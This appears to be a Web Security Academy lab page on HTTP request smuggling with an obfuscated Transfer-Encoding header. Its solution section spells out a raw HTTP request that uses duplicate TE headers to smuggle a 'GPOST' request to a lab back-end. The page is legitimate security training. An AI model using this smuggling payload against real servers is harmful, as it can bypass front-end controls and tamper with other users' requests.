Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Lab: HTTP request smuggling, obfuscating the TE header

PRACTITIONER

This lab involves a front-end and back-end server, and the two servers handle duplicate HTTP request headers in different ways. The front-end server rejects requests that aren't using the GET or POST method.

To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.

Note

Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the Request attributes section of the Inspector panel.

Tip

Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.

ACCESS THE LAB

Solution

In Burp Suite, go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.

Using Burp Repeater, issue the following request twice:

POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked Transfer-encoding: cow 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0

Note

You need to include the trailing sequence \r\n\r\n following the final 0.

The second response should say: Unrecognized method GPOST.

Community solutions

Jarno Timmermans
Michael Sommer

Register for free to track your learning progress

The benefits of working through PortSwigger's Web Security Academy

  • Practise exploiting vulnerabilities on realistic targets.

  • Record your progression from Apprentice to Expert.

  • See where you rank in our Hall of Fame.

Already got an account? Login here

Try Burp Suite for Free

Find HTTP request smuggling vulnerabilities using Burp Suite

Try for free